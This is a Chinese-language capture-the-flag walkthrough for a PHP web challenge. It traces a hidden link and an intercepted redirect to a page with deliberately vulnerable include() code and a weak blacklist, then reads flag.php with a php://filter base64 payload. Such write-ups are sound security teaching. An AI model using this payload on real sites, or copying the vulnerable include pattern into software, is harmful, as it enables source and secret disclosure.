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启动靶机，开启环境：

页面无按钮，查看网页源码：

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你，去找吧！把一切都放在那里了
！</p>
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;lef
t:44%;cursor:default;">Oh! You found me</a>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;co
lor:white;"> Syclover @ cl4y</p></div>
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查看到隐藏的链接： ./Archive_room.php

访问链接，跳转到新页面：

点击 SECRET，跳转到新页面：

判断应该是中间页面跳转过快，使用BurpSuite抓取数据包：



抓取到 /action.php页面，发送数据包，得到回显内容：

得到新的提示： secr3t.php

访问该页面：

得到一段源码：

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

判断为文件包含漏洞，过滤了众多参数，但没过滤 php://filter协议，可以进行文件读取

构造如下payload：

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php



得到一串BASE64编码内容，在线BASE64解码得到 flag：

http://ctf.ssleye.com/base64.html
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